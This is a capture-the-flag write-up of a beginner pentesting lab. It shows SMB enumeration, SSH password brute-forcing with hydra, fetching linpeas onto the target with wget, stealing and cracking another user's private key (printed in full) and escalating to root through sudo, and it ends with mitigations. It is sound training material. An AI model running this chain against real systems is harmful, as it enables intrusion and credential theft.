

Basic Pentest

#ShadowFox Internship

#Link: <https://tryhackme.com/r/room/basicpentestingit>

IP: 10.10.206.61

OS: Ubuntu

WEB TECHNOLOGY: Apache httpd 2.4.18

Start off by exporting the IP in the environment.

```
export IP='10.10.206.61'
```

=====

SCANNING:

Perform a nmap scan against the machine to find the running services

```
nmap -sCV -p- $IP --open
```

22/tcp open ssh **OpenSSH 7.2p2** Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)

| 256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)

|_ 256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (ED25519)

80/tcp open http **Apache httpd 2.4.18** ((Ubuntu))

|_ http-title: Site doesn't have a title (text/html).

|_ http-server-header: Apache/2.4.18 (Ubuntu)

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)

8009/tcp open ajp13 **Apache Jserv** (Protocol v1.3)

| ajp-methods:

|_ Supported methods: GET HEAD POST OPTIONS

Service Info: Host: BASIC2; OS: **Linux**; CPE: cpe:/o:linux:linux_kernel

Host script results:

| smb2-security-mode:

| 3:1:1:

|_ Message signing enabled but not required

| smb-os-discovery:

| OS: Windows 6.1 (**Samba 4.3.11**-Ubuntu)

| Computer name: basic2

| NetBIOS computer name: **BASIC2**\x00

| Domain name: \x00

| FQDN: basic2

|_ System time: 2024-05-03T05:44:03-04:00

|_ clock-skew: mean: 1h20m00s, deviation: 2h18m35s, median: 0s

| smb-security-mode:

| account_used: guest

| authentication_level: user

| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-time:
| date: 2024-05-03T09:44:02
|_ start_date: N/A
|_ nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)

=====

OPEN PORTS:

22 → ssh
80 → http
139,445 → smb
8009 → ajp

=====

ENUMERATION:

I started enumerating SMB (139,445) for finding share that had read permission

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ smbclient -L \\\\$IP\\
Password for [WORKGROUP\debangshu]:

      Sharename      Type      Comment
      -
      Anonymous      Disk
      IPC$           IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

      Server          Comment
      -
      Workgroup        Master
      -
      WORKGROUP        BASIC2
```

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ smbmap -H $IP

SMBMap - Samba Share Enumerator | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.206.61:445      Name: 10.10.206.61      Status: Authenticated
    Disk                    Permissions      Comment
    ----                    -
    Anonymous              READ ONLY
    IPC$                   NO ACCESS      IPC Service (Samba Server 4.3.11-Ubuntu)
```

And, I found a share "Anonymous" which had read permission.

Accessing the share I got a file named `staff.txt`, downloaded it locally

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ smbclient \\\\$IP\\Anonymous
Password for [WORKGROUP\\debangshu]:
Try "help" to get a list of possible commands.
smb: \> ls -la
NT_STATUS_NO_SUCH_FILE listing \-la
smb: \> ls
.                D            0   Thu Apr 19 23:01:20 2018
..               D            0   Thu Apr 19 22:43:06 2018
staff.txt        N          173  Thu Apr 19 22:59:55 2018

14318640 blocks of size 1024. 10821148 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
smb: \>
```

From the file we got hold of two name they could be the potential users [jan,kay]

After it, I ran enum4linux for enumerating SMB more... . And successfully found the Users

```
[+] Enumerating users using SID S-1-22-1 and logon username '', password 'ashu'
S-1-22-1-1000 Unix User\\kay (Local User)
S-1-22-1-1001 Unix User\\jan (Local User)
```

Then Moved to port 80 (`http`) and 8009 (`ajp`) for enumerating further.

[**NOTE:** AJP runs in Apache HTTP Server, AJP carries the same information as http but in a binary format]

But found out port 8009 to be a rabbit hole [since it didn't response when I tried connecting it with via netcat (`nc -v`

\$IP 8009)]

Started fuzzing the website using **Gobuster** and found out an interesting directory named **/development**

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ gobuster dir -u http://10.10.206.61 -w /usr/share/wordlists/dirb/common.txt -x txt,bak,php,html,sql,zip,git
=====
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
=====
[+] Url: http://10.10.206.61
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: git,txt,bak,php,html,sql,zip
[+] Timeout: 10s
=====
Starting gobuster in directory enumeration mode
=====
./html (Status: 403) [Size: 292]
./hta (Status: 403) [Size: 291]
./hta.bak (Status: 403) [Size: 295]
./hta.php (Status: 403) [Size: 295]
./hta.html (Status: 403) [Size: 296]
./hta.zip (Status: 403) [Size: 295]
./htaccess.git (Status: 403) [Size: 300]
./htaccess.txt (Status: 403) [Size: 300]
./htaccess (Status: 403) [Size: 296]
./htaccess.sql (Status: 403) [Size: 300]
./hta.sql (Status: 403) [Size: 295]
./htaccess.zip (Status: 403) [Size: 300]
./hta.git (Status: 403) [Size: 295]
./hta.txt (Status: 403) [Size: 295]
./htaccess.html (Status: 403) [Size: 301]
./htpasswd.zip (Status: 403) [Size: 300]
./htpasswd (Status: 403) [Size: 296]
./htpasswd.html (Status: 403) [Size: 301]
./htpasswd.php (Status: 403) [Size: 300]
./htaccess.bak (Status: 403) [Size: 300]
./htpasswd.txt (Status: 403) [Size: 300]
./htpasswd.sql (Status: 403) [Size: 300]
./htpasswd.bak (Status: 403) [Size: 300]
./htaccess.php (Status: 403) [Size: 300]
./htpasswd.git (Status: 403) [Size: 300]
/development (Status: 301) [Size: 318] [--> http://10.10.206.61/development/]
/index.html (Status: 200) [Size: 158]
/index.html (Status: 200) [Size: 158]
/server-status (Status: 403) [Size: 300]
Progress: 36912 / 36920 (99.98%)
=====
Finished
=====
```

Navigating to **/development** directory and getting hint from **'/development/j.txt'** [that user **jan** is using weak password]

Then, I tried to bruteforce the ssh service with the user **'jan'** and by using **'rockyou'** password file [This file contains over 14,341,564 passwords that were previously leaked in data breaches.] and found out the password to be **'arman-do'**

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://\$IP -V -t 64

```
ATTEMPT] target 10.10.206.61 - login "jan" - pass "gerard" - 786 of 14344439 [child 47] (0/41)
ATTEMPT] target 10.10.206.61 - login "jan" - pass "undertaker" - 787 of 14344439 [child 23] (0/41)
22][ssh] host: 10.10.206.61 login: jan password: armando
. of 1 target successfully completed, 1 valid password found
WARNING] Writing restore file because 9 final worker threads did not complete until end.
ERROR] 9 targets did not resolve or could not be connected
ERROR] 0 target did not complete
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-05-03 15:38:46

—(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
—$
```

INITIAL FOOTHOLD:

Getting into the system as jan

```

(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ ssh jan@$IP
The authenticity of host '10.10.206.61 (10.10.206.61)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This host key is known by the following other names/addresses:
  ~/.ssh/known_hosts:5: [hashed name]
  ~/.ssh/known_hosts:97: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.206.61' (ED25519) to the list of known hosts.
jan@10.10.206.61's password:
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:   https://landscape.canonical.com
 * Support:       https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

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applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$

```

Enumerating further I found that **jan** did not have permission to run as root. We had another user named **kay** so before escalating privilege vertically we need to escalate the privilege horizontally (i.e we have to be kay in the system)

But, I didn't find anything interesting after enumerating manually and thought of enumerating using **linpeas**

I started my python http server and transferred the linpeas to the target.

```
(debangshu@kali): ~/Desktop/tool/LinTools
~$ python2 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.206.61 - - [03/May/2024 15:50:50] "GET /linpeas.sh HTTP/1.1" 200 -

UP BROADCAST RUNNING MULTICAST  MTU:9001  Metric:1
RX packets:226248 errors:0 dropped:0 overruns:0 frame:0
TX packets:220150 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:27961541 (27.9 MB)  TX bytes:65197342 (65.1 MB)

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:192 errors:0 dropped:0 overruns:0 frame:0
          TX packets:192 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1
          RX bytes:14256 (14.2 KB)  TX bytes:14256 (14.2 KB)

jan@basic2:~$ which wget
/usr/bin/wget
jan@basic2:~$ cd /tmp
jan@basic2:~/tmp$ wget http://10.17.9.98/linpeas.sh
--2024-05-03 06:20:50--  http://10.17.9.98/linpeas.sh
Connecting to 10.17.9.98:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 157925 (154K) [text/x-sh]
Saving to: 'linpeas.sh'

linpeas.sh          100%[=====] 154.22K  230KB/s   in 0.7s

2024-05-03 06:20:51 (230 KB/s) - 'linpeas.sh' saved [157925/157925]
```

And Boom Linpeas did it's job :)

It found an id_rsa file from kay's home directory , Now it's time for lateral priviledge escalation


```
-rw-r--r-- 1 kay kay 3326 Apr 19 2018 id_rsa
-rw-r--r-- 1 kay kay 771 Apr 19 2018 id_rsa.pub
jan@basic2:/home/kay/.ssh$ cat id_rsa
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,6ABA7DE35CDB65070B92C1F760E2FE75
```

```
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
-----END RSA PRIVATE KEY-----
jan@basic2:/home/kay/.ssh$
```


Now, transferred the id_rsa file locally and changed the file permission.

```
chmod 600 id_rsa
```

And tried to login as kay

```
ssh -i id_rsa kay@$IP
```

but it prompted us for id_rsa 's passphrase

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ ssh -i id_rsa kay@$IP
Enter passphrase for key 'id_rsa':
```

Next, I used john's utility named 'ssh2john' to get its passphrase

```
ssh2john id_rsa > passphrase
```

Then, cracking the passphrase using john

```
(debangshu@kali)-[~/Desktop/shadowfox/Advanced]
$ sudo john passphrase --wordlist=/usr/share/wordlists/rockyou_utf8.txt
[sudo] password for debangshu:
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax (id_rsa)
1g 0:00:00:00 DONE (2024-05-03 17:09) 25.00g/s 2068Kp/s 2068Kc/s 2068KC/s bird..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
```

Now I logged in as Kay:)

Navigating to its home directory I found a file called `pass.bak` and it contains kay's password

```
kay@basic2:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$
kay@basic2:~$
```

PRIVILEGE ESCALATION:

The first thing I do after getting initial foothold is: `sudo -l`

And found out that kay had the permission to run anything as root without permission

`sudo su` [entered this command to become root]

And Finally I became root!!!

```
root@basic2:~# cat /root/flag.txt
Congratulations! You've completed this challenge. There are two ways (that I'm aware of) to gain
a shell, and two ways to privesc. I encourage you to find them all!

If you're in the target audience (newcomers to pentesting), I hope you learned something. A few
takeaways from this challenge should be that every little bit of information you can find can be
valuable, but sometimes you'll need to find several different pieces of information and combine
them to make them useful. Enumeration is key! Also, sometimes it's not as easy as just finding
an obviously outdated, vulnerable service right away with a port scan (unlike the first entry
in this series). Usually you'll have to dig deeper to find things that aren't as obvious, and
therefore might've been overlooked by administrators.

Thanks for taking the time to solve this VM. If you choose to create a writeup, I hope you'll send
me a link! I can be reached at josiah@vt.edu. If you've got questions or feedback, please reach
out to me.

Happy hacking!
```

MITIGATION:

1. The SMB share should not have anonymous null session on.
2. Should not expose sensitive directory to the internet.
3. No hardcoded credentials should be stored in the system.
4. The system should always ask for password while performing any administrative level command [Misconfiguration], Proper Configuration is needed.